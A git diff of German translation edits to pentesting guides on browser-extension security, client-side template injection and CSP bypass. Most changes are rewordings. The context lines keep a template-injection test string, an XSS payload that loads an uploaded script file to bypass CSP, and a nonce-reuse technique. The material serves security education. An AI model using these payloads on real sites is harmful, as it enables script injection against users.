+Eine Nachricht wird an die Erweiterungsseiten vom Inhalts-Skript gesendet, wenn dieser Button geklickt wird, durch die Nutzung der [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dies liegt an der Einschränkung des Inhalts-Skripts im direkten Zugriff auf APIs, wobei `storage` eine der wenigen Ausnahmen ist. Für Funktionalitäten über diese Ausnahmen hinaus werden Nachrichten an Erweiterungsseiten gesendet, mit denen Inhalts-Skripte kommunizieren können.
 
 > [!WARNING]
 > Je nach Browser können die Fähigkeiten des Inhalts-Skripts leicht variieren. Für Chromium-basierte Browser ist die Liste der Fähigkeiten in der [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) verfügbar, und für Firefox dient die [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) als primäre Quelle.\
@@ -213,7 +213,7 @@ Nachrichten, die von Inhalts-Skripten gesendet werden, werden von der **Hintergr
 **Wichtige Punkte**:
 
 - **Rolle der Hintergrundseite:** Dient als Nervenzentrum für die Erweiterung und gewährleistet die Kommunikation und Koordination zwischen den verschiedenen Teilen der Erweiterung.
-- **Persistenz:** Es ist eine stets präsente Entität, die für den Benutzer unsichtbar, aber für die Funktionalität der Erweiterung unerlässlich ist.
+- **Persistenz:** Es ist eine ständig präsente Entität, die für den Benutzer unsichtbar, aber für die Funktionalität der Erweiterung unerlässlich ist.
 - **Automatische Generierung:** Wenn nicht ausdrücklich definiert, wird der Browser automatisch eine Hintergrundseite erstellen. Diese automatisch generierte Seite enthält alle Hintergrundskripte, die im Manifest der Erweiterung angegeben sind, und gewährleistet den nahtlosen Betrieb der Hintergrundaufgaben der Erweiterung.
 
 > [!TIP]
@@ -239,7 +239,7 @@ Browsererweiterungen können verschiedene Arten von Seiten enthalten:
 
 - **Aktionsseiten** werden in einem **Dropdown angezeigt, wenn das Erweiterungssymbol** angeklickt wird.
 - Seiten, die die Erweiterung **in einem neuen Tab lädt**.
-- **Optionsseiten**: Diese Seite wird oben auf der Erweiterung angezeigt, wenn sie angeklickt wird. Im vorherigen Manifest konnte ich auf diese Seite zugreifen unter `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` oder durch Klicken auf:
+- **Optionsseiten**: Diese Seite wird oben auf der Erweiterung angezeigt, wenn sie angeklickt wird. Im vorherigen Manifest konnte ich auf diese Seite zugreifen unter `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` oder durch Klicken:
 
 <figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
 
@@ -319,15 +319,15 @@ browext-clickjacking.md
 > [!CAUTION]
 > Beachten Sie, dass die Seiten aus **`web_accessible_resources`** und andere Seiten der Erweiterung ebenfalls in der Lage sind, **Hintergrundskripte zu kontaktieren**. Wenn eine dieser Seiten also anfällig für **XSS** ist, könnte dies eine größere Verwundbarkeit eröffnen.
 >
-> Darüber hinaus beachten Sie, dass Sie nur Seiten, die in **`web_accessible_resources`** angegeben sind, innerhalb von iframes öffnen können, aber von einem neuen Tab aus ist es möglich, auf jede Seite in der Erweiterung zuzugreifen, wenn Sie die Erweiterungs-ID kennen. Daher könnte, wenn ein XSS gefunden wird, das dieselben Parameter missbraucht, auch dann missbraucht werden, wenn die Seite nicht in **`web_accessible_resources`** konfiguriert ist.
+> Darüber hinaus beachten Sie, dass Sie nur Seiten, die in **`web_accessible_resources`** angegeben sind, innerhalb von iframes öffnen können, aber von einem neuen Tab aus ist es möglich, auf jede Seite in der Erweiterung zuzugreifen, wenn Sie die Erweiterungs-ID kennen. Daher könnte, wenn ein XSS gefunden wird, das dieselben Parameter ausnutzt, dies auch ausgenutzt werden, selbst wenn die Seite nicht in **`web_accessible_resources`** konfiguriert ist.
 
 ### `externally_connectable`
 
 Laut den [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) erklärt die `"externally_connectable"` Manifest-Eigenschaft, **welche Erweiterungen und Webseiten sich mit Ihrer Erweiterung verbinden können** über [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) und [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
 
-- Wenn der **`externally_connectable`** Schlüssel **nicht** im Manifest Ihrer Erweiterung deklariert ist oder als **`"ids": ["*"]`** deklariert ist, **können sich alle Erweiterungen verbinden, aber keine Webseiten können sich verbinden**.
-- Wenn **spezifische IDs angegeben sind**, wie in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **können sich nur diese Anwendungen** verbinden.
-- Wenn **Übereinstimmungen** angegeben sind, können sich diese Webanwendungen verbinden:
+- Wenn der **`externally_connectable`** Schlüssel **nicht** im Manifest Ihrer Erweiterung deklariert ist oder als **`"ids": ["*"]`** deklariert ist, **können alle Erweiterungen sich verbinden, aber keine Webseiten können sich verbinden**.
+- Wenn **spezifische IDs angegeben sind**, wie in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **können nur diese Anwendungen** sich verbinden.
+- Wenn **Übereinstimmungen** angegeben sind, können diese Webanwendungen sich verbinden:
 ```json
 "matches": [
 "https://*.google.com/*",
@@ -342,19 +342,19 @@ Je **weniger Erweiterungen und URLs** hier angegeben sind, desto **kleiner wird
 >
 > Daher ist dies ein **sehr mächtiger Bypass**.
 >
-> Darüber hinaus, wenn der Client eine bösartige Erweiterung installiert, könnte diese, selbst wenn sie nicht mit der anfälligen Erweiterung kommunizieren darf, **XSS-Daten in eine erlaubte Webseite injizieren** oder die **`WebRequest`** oder **`DeclarativeNetRequest`** APIs missbrauchen, um Anfragen auf einer gezielten Domain zu manipulieren und eine Anfrage für eine **JavaScript-Datei** zu ändern. (Beachten Sie, dass CSP auf der gezielten Seite diese Angriffe verhindern könnte). Diese Idee stammt [**aus diesem Bericht**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
+> Darüber hinaus, wenn der Client eine bösartige Erweiterung installiert, selbst wenn sie nicht berechtigt ist, mit der anfälligen Erweiterung zu kommunizieren, könnte sie **XSS-Daten in eine erlaubte Webseite injizieren** oder die **`WebRequest`** oder **`DeclarativeNetRequest`** APIs missbrauchen, um Anfragen auf einer gezielten Domain zu manipulieren und eine Anfrage für eine **JavaScript-Datei** zu ändern. (Beachten Sie, dass CSP auf der gezielten Seite diese Angriffe verhindern könnte). Diese Idee stammt [**aus diesem Bericht**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
 
 ## Kommunikationsübersicht
 
 ### Erweiterung <--> WebApp
 
-Um zwischen dem Content-Skript und der Webseite zu kommunizieren, werden normalerweise Post-Nachrichten verwendet. Daher finden Sie in der Webanwendung normalerweise Aufrufe der Funktion **`window.postMessage`** und im Content-Skript Listener wie **`window.addEventListener`**. Beachten Sie jedoch, dass die Erweiterung auch **mit der Webanwendung kommunizieren könnte, indem sie eine Post-Nachricht sendet** (und die Webseite dies daher erwarten sollte) oder einfach die Webseite dazu bringt, ein neues Skript zu laden.
+Um zwischen dem Content-Skript und der Webseite zu kommunizieren, werden normalerweise Post-Nachrichten verwendet. Daher finden Sie in der Webanwendung normalerweise Aufrufe der Funktion **`window.postMessage`** und im Content-Skript Listener wie **`window.addEventListener`**. Beachten Sie jedoch, dass die Erweiterung auch **mit der Webanwendung kommunizieren könnte, indem sie eine Post-Nachricht sendet** (und daher sollte die Webseite dies erwarten) oder einfach die Webseite dazu bringt, ein neues Skript zu laden.
 
 ### Innerhalb der Erweiterung
 
-Normalerweise wird die Funktion **`chrome.runtime.sendMessage`** verwendet, um eine Nachricht innerhalb der Erweiterung zu senden (normalerweise vom `background`-Skript verarbeitet), und um sie zu empfangen und zu verarbeiten, wird ein Listener deklariert, der **`chrome.runtime.onMessage.addListener`** aufruft.
+Normalerweise wird die Funktion **`chrome.runtime.sendMessage`** verwendet, um eine Nachricht innerhalb der Erweiterung zu senden (normalerweise vom `background`-Skript verarbeitet) und um sie zu empfangen und zu verarbeiten, wird ein Listener deklariert, der **`chrome.runtime.onMessage.addListener`** aufruft.
 
-Es ist auch möglich, **`chrome.runtime.connect()`** zu verwenden, um eine persistente Verbindung anstelle von einzelnen Nachrichten zu haben. Es ist möglich, damit **Nachrichten** zu **senden** und **zu empfangen**, wie im folgenden Beispiel:
+Es ist auch möglich, **`chrome.runtime.connect()`** zu verwenden, um eine persistente Verbindung anstelle von einzelnen Nachrichten zu haben. Es ist möglich, es zu verwenden, um **Nachrichten** zu **senden** und **zu empfangen**, wie im folgenden Beispiel:
 
 <details>
 
@@ -474,7 +474,7 @@ browext-xss-example.md
 
 ### DOM
 
-Dies ist nicht "genau" ein Kommunikationsweg, aber das **Web und das Inhalts-Skript haben Zugriff auf das Web-DOM**. Wenn das **Inhalts-Skript** also Informationen daraus liest und das **Web-DOM** vertraut, könnte das Web **diese Daten ändern** (weil das Web nicht vertraut werden sollte oder weil das Web anfällig für XSS ist) und **das Inhalts-Skript gefährden**.
+Dies ist nicht "genau" ein Kommunikationsweg, aber das **Web und das Inhalts-Skript haben Zugriff auf das Web-DOM**. Wenn das **Inhalts-Skript** also Informationen daraus liest und das **Web-DOM** vertraut, könnte das Web **diese Daten ändern** (weil das Web nicht vertraut werden sollte oder weil das Web anfällig für XSS ist) und das **Inhalts-Skript kompromittieren**.
 
 Ein Beispiel für einen **DOM-basierten XSS-Angriff zur Kompromittierung einer Browsererweiterung** findest du in:
 
@@ -486,7 +486,7 @@ browext-xss-example.md
 
 Ein Inhalts-Skript kann die Funktionen [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **oder** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) verwenden, um eine **einmalige JSON-serialisierbare** Nachricht zu senden.
 
-Um die **Antwort** zu verarbeiten, verwende das zurückgegebene **Promise**. Obwohl du aus Gründen der Abwärtskompatibilität weiterhin einen **Callback** als letzten Parameter übergeben kannst.
+Um die **Antwort** zu verarbeiten, verwende das zurückgegebene **Promise**. Obwohl du zur Rückwärtskompatibilität weiterhin einen **Callback** als letzten Parameter übergeben kannst.
 
 Das Senden einer Anfrage von einem **Inhalts-Skript** sieht so aus:
 ```javascript
@@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
 console.log(response)
 })()
 ```
-Senden einer Anfrage von der **Erweiterung** (normalerweise einem **Hintergrundskript**). Beispiel, wie man eine Nachricht an das Inhaltskript im ausgewählten Tab sendet:
+Eine Anfrage von der **Erweiterung** (normalerweise ein **Hintergrundskript**) senden. Beispiel, wie man eine Nachricht an das Inhaltskript im ausgewählten Tab sendet:
 ```javascript
 // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
 ;(async () => {
@@ -509,7 +509,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
 console.log(response)
 })()
 ```
-Am **Empfangsende** müssen Sie einen [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **Ereignis-Listener** einrichten, um die Nachricht zu verarbeiten. Dies sieht sowohl von einem Inhalts-Skript als auch von einer Erweiterungsseite gleich aus.
+Am **Empfangsende** müssen Sie einen [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **Ereignis-Listener** einrichten, um die Nachricht zu verarbeiten. Dies sieht sowohl aus einem Inhalts-Skript als auch von einer Erweiterungsseite gleich aus.
 ```javascript
 // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
 chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@@ -541,7 +541,7 @@ Browsererweiterungen ermöglichen auch die Kommunikation mit **Binaries im Syste
 ```
 Wo der `name` der String ist, der an [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) oder [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) übergeben wird, um mit der Anwendung von den Hintergrundskripten der Browsererweiterung zu kommunizieren. Der `path` ist der Pfad zur Binärdatei, es gibt nur 1 gültigen `type`, der stdio ist (verwende stdin und stdout) und die `allowed_origins` geben die Erweiterungen an, die darauf zugreifen können (und dürfen kein Wildcard haben).
 
-Chrome/Chromium wird nach diesem JSON in einigen Windows-Registrierungen und einigen Pfaden in macOS und Linux suchen (mehr Informationen in den [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
+Chrome/Chromium wird in einigen Windows-Registrierungen und einigen Pfaden in macOS und Linux nach diesem JSON suchen (weitere Informationen in den [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
 
 > [!TIP]
 > Die Browsererweiterung benötigt auch die `nativeMessaing`-Berechtigung, um diese Kommunikation nutzen zu können.
@@ -606,7 +606,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
 
 ### Verwenden Sie die CRX Viewer-Erweiterung
 
-Eine weitere praktische Methode ist die Verwendung des Chrome Extension Source Viewers, einem Open-Source-Projekt. Es kann aus dem [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) installiert werden. Der Quellcode des Viewers ist in seinem [GitHub-Repository](https://github.com/Rob--W/crxviewer) verfügbar.
+Eine weitere praktische Methode ist die Verwendung des Chrome Extension Source Viewer, einem Open-Source-Projekt. Es kann aus dem [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) installiert werden. Der Quellcode des Viewers ist in seinem [GitHub-Repository](https://github.com/Rob--W/crxviewer) verfügbar.
 
 ### Quellcode der lokal installierten Erweiterung anzeigen
 
@@ -619,9 +619,9 @@ Chrome-Erweiterungen, die lokal installiert sind, können ebenfalls inspiziert w
 Um Erweiterungen zu identifizieren, können Sie deren IDs den Namen zuordnen:
 
 - Aktivieren Sie den Entwicklermodus auf der Seite `about:extensions`, um die IDs jeder Erweiterung zu sehen.
-- In jedem Erweiterungsordner enthält die Datei `manifest.json` ein lesbares `name`-Feld, das Ihnen hilft, die Erweiterung zu identifizieren.
+- Innerhalb des Ordners jeder Erweiterung enthält die Datei `manifest.json` ein lesbares `name`-Feld, das Ihnen hilft, die Erweiterung zu identifizieren.
 
-### Verwenden Sie einen Dateiarchivier oder -entpacker
+### Verwenden Sie einen Dateiarchivier oder -depacker
 
 Gehen Sie zum Chrome Web Store und laden Sie die Erweiterung herunter. Die Datei hat die Erweiterung `.crx`. Ändern Sie die Dateierweiterung von `.crx` in `.zip`. Verwenden Sie einen beliebigen Dateiarchivier (wie WinRAR, 7-Zip usw.), um den Inhalt der ZIP-Datei zu extrahieren.
 
@@ -631,7 +631,7 @@ Gehen Sie zum Chrome Web Store und laden Sie die Erweiterung herunter. Die Datei
 
 ## Chrome-Erweiterungsmanifest-Datensatz
 
-Um anfällige Browsererweiterungen zu identifizieren, könnten Sie das [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) verwenden und deren Manifestdateien auf potenziell anfällige Hinweise überprüfen. Zum Beispiel, um nach Erweiterungen mit mehr als 25000 Benutzern, `content_scripts` und der Berechtigung `nativeMessaging` zu suchen:
+Um anfällige Browsererweiterungen zu erkennen, könnten Sie das [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) verwenden und deren Manifestdateien auf potenziell anfällige Hinweise überprüfen. Zum Beispiel, um nach Erweiterungen mit mehr als 25000 Benutzern, `content_scripts` und der Berechtigung `nativeMessaging` zu suchen:
 ```bash
 # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
 node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
@@ -648,13 +648,13 @@ Obwohl Browsererweiterungen eine **begrenzte Angriffsfläche** haben, können ei
 - [ ] **Web zugängliche Ressourcen** so weit wie möglich **`web_accessible_resources`** einschränken, sogar leer, wenn möglich.
 - [ ] Wenn **`web_accessible_resources`** nicht leer ist, überprüfen Sie [**ClickJacking**](browext-clickjacking.md)
 - [ ] Wenn eine **Kommunikation** von der **Erweiterung** zur **Webseite** erfolgt, [**überprüfen Sie auf XSS**](browext-xss-example.md) **Schwachstellen**, die in der Kommunikation verursacht werden.
-- [ ] Wenn Post-Nachrichten verwendet werden, überprüfen Sie auf [**Post-Nachrichten-Schwachstellen**](../postmessage-vulnerabilities/)**.**
+- [ ] Wenn Post-Nachrichten verwendet werden, überprüfen Sie auf [**Post-Nachrichten-Schwachstellen**](../postmessage-vulnerabilities/index.html)**.**
 - [ ] Wenn das **Inhalts-Skript auf DOM-Details zugreift**, überprüfen Sie, ob sie **kein XSS einführen**, wenn sie von der Webseite **modifiziert** werden
-- [ ] Besondere Betonung, wenn diese Kommunikation auch in der **Kommunikation zwischen Inhalts-Skript und Hintergrundskript** beteiligt ist
+- [ ] Besondere Betonung, wenn diese Kommunikation auch an der **Kommunikation zwischen Inhalts-Skript und Hintergrundskript** beteiligt ist
 - [ ] Wenn das Hintergrundskript über **native Messaging** kommuniziert, überprüfen Sie, ob die Kommunikation sicher und bereinigt ist
 - [ ] **Sensible Informationen sollten nicht** im Code der Browsererweiterung **gespeichert** werden
 - [ ] **Sensible Informationen sollten nicht** im Speicher der Browsererweiterung **gespeichert** werden
-- [ ] **Sensible Informationen sollten nicht** im **Dateisystem ungeschützt** gespeichert werden
+- [ ] **Sensible Informationen sollten nicht** im **Dateisystem ungeschützt** **gespeichert** werden
 
 ## Risiken von Browsererweiterungen
 
@@ -664,14 +664,14 @@ Obwohl Browsererweiterungen eine **begrenzte Angriffsfläche** haben, können ei
 
 ### [**Tarnish**](https://thehackerblog.com/tarnish/)
 
-- Zieht jede Chrome-Erweiterung von einem bereitgestellten Chrome-Webstore-Link.
+- Zieht jede Chrome-Erweiterung von einem bereitgestellten Chrome Webstore-Link.
 - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **Viewer**: zeigt einfach eine JSON-hübsch formatierte Version des Manifests der Erweiterung an.
 - **Fingerprint-Analyse**: Erkennung von [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) und automatische Generierung von JavaScript zur Fingerabdruckerkennung von Chrome-Erweiterungen.
-- **Potenzielle Clickjacking-Analyse**: Erkennung von HTML-Seiten der Erweiterung mit der [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) Direktive. Diese sind potenziell anfällig für Clickjacking, abhängig vom Zweck der Seiten.
+- **Potenzielle Clickjacking-Analyse**: Erkennung von HTML-Seiten der Erweiterung mit der **web_accessible_resources**-Richtlinie. Diese sind potenziell anfällig für Clickjacking, abhängig vom Zweck der Seiten.
 - **Berechtigungswarnungen Viewer**: zeigt eine Liste aller Chrome-Berechtigungsaufforderungswarnungen, die angezeigt werden, wenn ein Benutzer versucht, die Erweiterung zu installieren.
 - **Gefährliche Funktion(en)**: zeigt den Standort gefährlicher Funktionen, die potenziell von einem Angreifer ausgenutzt werden könnten (z. B. Funktionen wie innerHTML, chrome.tabs.executeScript).
 - **Einstiegspunkt(e)**: zeigt, wo die Erweiterung Benutzereingaben oder externe Eingaben entgegennimmt. Dies ist nützlich, um die Angriffsfläche einer Erweiterung zu verstehen und nach potenziellen Punkten zu suchen, um bösartig gestaltete Daten an die Erweiterung zu senden.
-- Sowohl die Scanner für gefährliche Funktion(en) als auch Einstiegspunkt(e) haben Folgendes für ihre generierten Warnungen:
+- Sowohl die Scanner für gefährliche Funktionen als auch die für Einstiegspunkte haben Folgendes für ihre generierten Warnungen:
 - Relevanter Codeausschnitt und Zeile, die die Warnung verursacht hat.
 - Beschreibung des Problems.
 - Eine „Datei anzeigen“-Schaltfläche, um die vollständige Quelldatei mit dem Code anzuzeigen.
@@ -679,7 +679,7 @@ Obwohl Browsererweiterungen eine **begrenzte Angriffsfläche** haben, können ei
 - Die vollständige Chrome-Erweiterungs-URI der alarmierten Datei.
 - Der Typ der Datei, z. B. ein Hintergrundseiten-Skript, Inhalts-Skript, Browser-Aktion usw.
 - Wenn die anfällige Zeile in einer JavaScript-Datei ist, die Pfade aller Seiten, auf denen sie enthalten ist, sowie den Typ dieser Seiten und den Status der [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
-- **Content Security Policy (CSP) Analyzer und Umgehungsprüfer**: Dies wird Schwächen in der CSP Ihrer Erweiterung aufzeigen und auch potenzielle Möglichkeiten zur Umgehung Ihrer CSP aufgrund von aufgelisteten CDNs usw. beleuchten.
+- **Content Security Policy (CSP) Analyzer und Umgehungsprüfer**: Dies wird Schwächen in der CSP Ihrer Erweiterung aufzeigen und auch potenzielle Möglichkeiten zur Umgehung Ihrer CSP aufgrund von aufgelisteten CDNs usw. aufzeigen.
 - **Bekannte anfällige Bibliotheken**: Dies verwendet [Retire.js](https://retirejs.github.io/retire.js/), um die Verwendung bekannter anfälliger JavaScript-Bibliotheken zu überprüfen.
 - Erweiterung und formatierte Versionen herunterladen.
 - Die ursprüngliche Erweiterung herunterladen.
@@ -689,7 +689,7 @@ Obwohl Browsererweiterungen eine **begrenzte Angriffsfläche** haben, können ei
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
-Projekt Neto ist ein Python 3-Paket, das entwickelt wurde, um versteckte Funktionen von Browser-Plugins und -Erweiterungen für bekannte Browser wie Firefox und Chrome zu analysieren und zu entschlüsseln. Es automatisiert den Prozess des Entpackens der gepackten Dateien, um diese Funktionen aus relevanten Ressourcen in einer Erweiterung wie `manifest.json`, Lokalisierungsordnern oder JavaScript- und HTML-Quelldateien zu extrahieren.
+Projekt Neto ist ein Python 3-Paket, das entwickelt wurde, um versteckte Funktionen von Browser-Plugins und -Erweiterungen für bekannte Browser wie Firefox und Chrome zu analysieren und aufzudecken. Es automatisiert den Prozess des Entpackens der gepackten Dateien, um diese Funktionen aus relevanten Ressourcen in einer Erweiterung wie `manifest.json`, Lokalisierungsordnern oder JavaScript- und HTML-Quelldateien zu extrahieren.
 
 ## Referenzen
 

src/pentesting-web/client-side-template-injection-csti.md

@@ -4,7 +4,7 @@
 
 ## Zusammenfassung
 
-Es ist wie eine [**Server Side Template Injection**](ssti-server-side-template-injection/), aber im **Client**. Die **SSTI** kann es Ihnen ermöglichen, **Code** auf dem Remote-Server auszuführen, die **CSTI** könnte es Ihnen ermöglichen, **willkürlichen JavaScript**-Code im Browser des Opfers auszuführen.
+Es ist wie eine [**Server Side Template Injection**](ssti-server-side-template-injection/index.html), aber im **Client**. Die **SSTI** kann es Ihnen ermöglichen, **Code** auf dem Remote-Server auszuführen, die **CSTI** könnte es Ihnen ermöglichen, **willkürlichen JavaScript**-Code im Browser des Opfers auszuführen.
 
 **Tests** auf diese Schwachstelle sind sehr **ähnlich** wie im Fall von **SSTI**, der Interpreter erwartet **eine Vorlage** und wird sie ausführen. Zum Beispiel, mit einem Payload wie `{{ 7-7 }}`, wenn die App **anfällig** ist, sehen Sie eine `0`, und wenn nicht, sehen Sie das Original: `{{ 7-7 }}`
 
@@ -49,7 +49,7 @@ Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/resea
 ```
 Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
 
-**Überprüfen Sie weitere VUE-Payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
+**Weitere VUE-Payloads finden Sie unter** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
 
 ## Mavo
 

src/pentesting-web/content-security-policy-csp-bypass/README.md

@@ -4,7 +4,7 @@
 
 ## Was ist CSP
 
-Content Security Policy (CSP) wird als eine Browsertechnologie anerkannt, die hauptsächlich darauf abzielt, **sich gegen Angriffe wie Cross-Site-Scripting (XSS)** zu schützen. Es funktioniert, indem es Pfade und Quellen definiert und detailliert, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Reihe von Elementen wie Bilder, Frames und JavaScript. Zum Beispiel könnte eine Richtlinie das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`.
+Content Security Policy (CSP) wird als eine Browsertechnologie anerkannt, die hauptsächlich darauf abzielt, **sich gegen Angriffe wie Cross-Site-Scripting (XSS)** zu schützen. Es funktioniert, indem es Pfade und Quellen definiert und detailliert, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Vielzahl von Elementen wie Bilder, Frames und JavaScript. Zum Beispiel könnte eine Richtlinie das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`.
 
 Die Implementierung von CSP erfolgt durch **Antwort-Header** oder durch die Einfügung von **Meta-Elementen in die HTML-Seite**. In Übereinstimmung mit dieser Richtlinie setzen Browser diese Vorgaben proaktiv durch und blockieren sofort alle erkannten Verstöße.
 
@@ -25,7 +25,7 @@ CSP kann mit diesen Headern durchgesetzt oder überwacht werden:
 
 ### Defining Resources
 
-CSP schränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte ein und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
+CSP beschränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
 ```bash
 default-src 'none';
 img-src 'self';
@@ -47,18 +47,18 @@ object-src 'none';
 - **frame-ancestors**: Gibt an, welche Quellen die aktuelle Seite einbetten können, anwendbar auf Elemente wie `<frame>`, `<iframe>`, `<object>`, `<embed>` und `<applet>`.
 - **img-src**: Definiert erlaubte Quellen für Bilder.
 - **font-src**: Gibt gültige Quellen für Schriften an, die mit `@font-face` geladen werden.
-- **manifest-src**: Definiert erlaubte Quellen von Anwendungsmanifestdateien.
+- **manifest-src**: Definiert erlaubte Quellen für Anwendungsmanifestdateien.
 - **media-src**: Definiert erlaubte Quellen für das Laden von Medienobjekten.
 - **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>` und `<applet>`-Elemente.
 - **base-uri**: Gibt erlaubte URLs für das Laden mit `<base>`-Elementen an.
 - **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf.
-- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen darf.
+- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen kann.
 - **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
-- **sandbox**: Wendet Einschränkungen an, die dem Sandbox-Attribut eines `<iframe>` ähneln.
+- **sandbox**: Wendet Einschränkungen an, die dem Sandbox-Attribut eines `<iframe>` ähnlich sind.
 - **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
 - **worker-src**: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
 - **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab abgerufen werden.
-- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, form, window.location, window.open usw.)
+- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, Formular, window.location, window.open usw.)
 
 ### Quellen
 
@@ -69,7 +69,7 @@ object-src 'none';
 - `'unsafe-eval'`: Erlaubt die Verwendung von `eval()` und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen.
 - `'unsafe-hashes'`: Ermöglicht spezifische Inline-Ereignis-Handler.
 - `'unsafe-inline'`: Erlaubt die Verwendung von Inline-Ressourcen wie Inline-`<script>` oder `<style>`, aus Sicherheitsgründen nicht empfohlen.
-- `'nonce'`: Eine Whitelist für spezifische Inline-Skripte unter Verwendung eines kryptografischen Nonce (einmalig verwendete Zahl).
+- `'nonce'`: Eine Whitelist für spezifische Inline-Skripte unter Verwendung eines kryptografischen Nonce (einmal verwendete Zahl).
 - Wenn Sie eine eingeschränkte Ausführung von JS haben, ist es möglich, einen verwendeten Nonce innerhalb der Seite mit `doc.defaultView.top.document.querySelector("[nonce]")` zu erhalten und ihn dann wiederzuverwenden, um ein bösartiges Skript zu laden (wenn strict-dynamic verwendet wird, kann jede erlaubte Quelle neue Quellen laden, sodass dies nicht erforderlich ist), wie in:
 
 <details>
@@ -115,8 +115,8 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
 
 ### 'unsafe-eval'
 
-> [!VORSICHT]
-> Dies funktioniert nicht, für weitere Informationen [**prüfen Sie dies**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
+> [!CAUTION]
+> Dies funktioniert nicht, für mehr Informationen [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 ```
@@ -159,24 +159,24 @@ Funktionierender Payload:
 ```markup
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-Es ist jedoch sehr wahrscheinlich, dass der Server die **hochgeladenen Dateien validiert** und nur bestimmte Dateitypen **erlaubt**.
+Es ist jedoch sehr wahrscheinlich, dass der Server **die hochgeladene Datei validiert** und nur **bestimmte Dateitypen** zulässt.
 
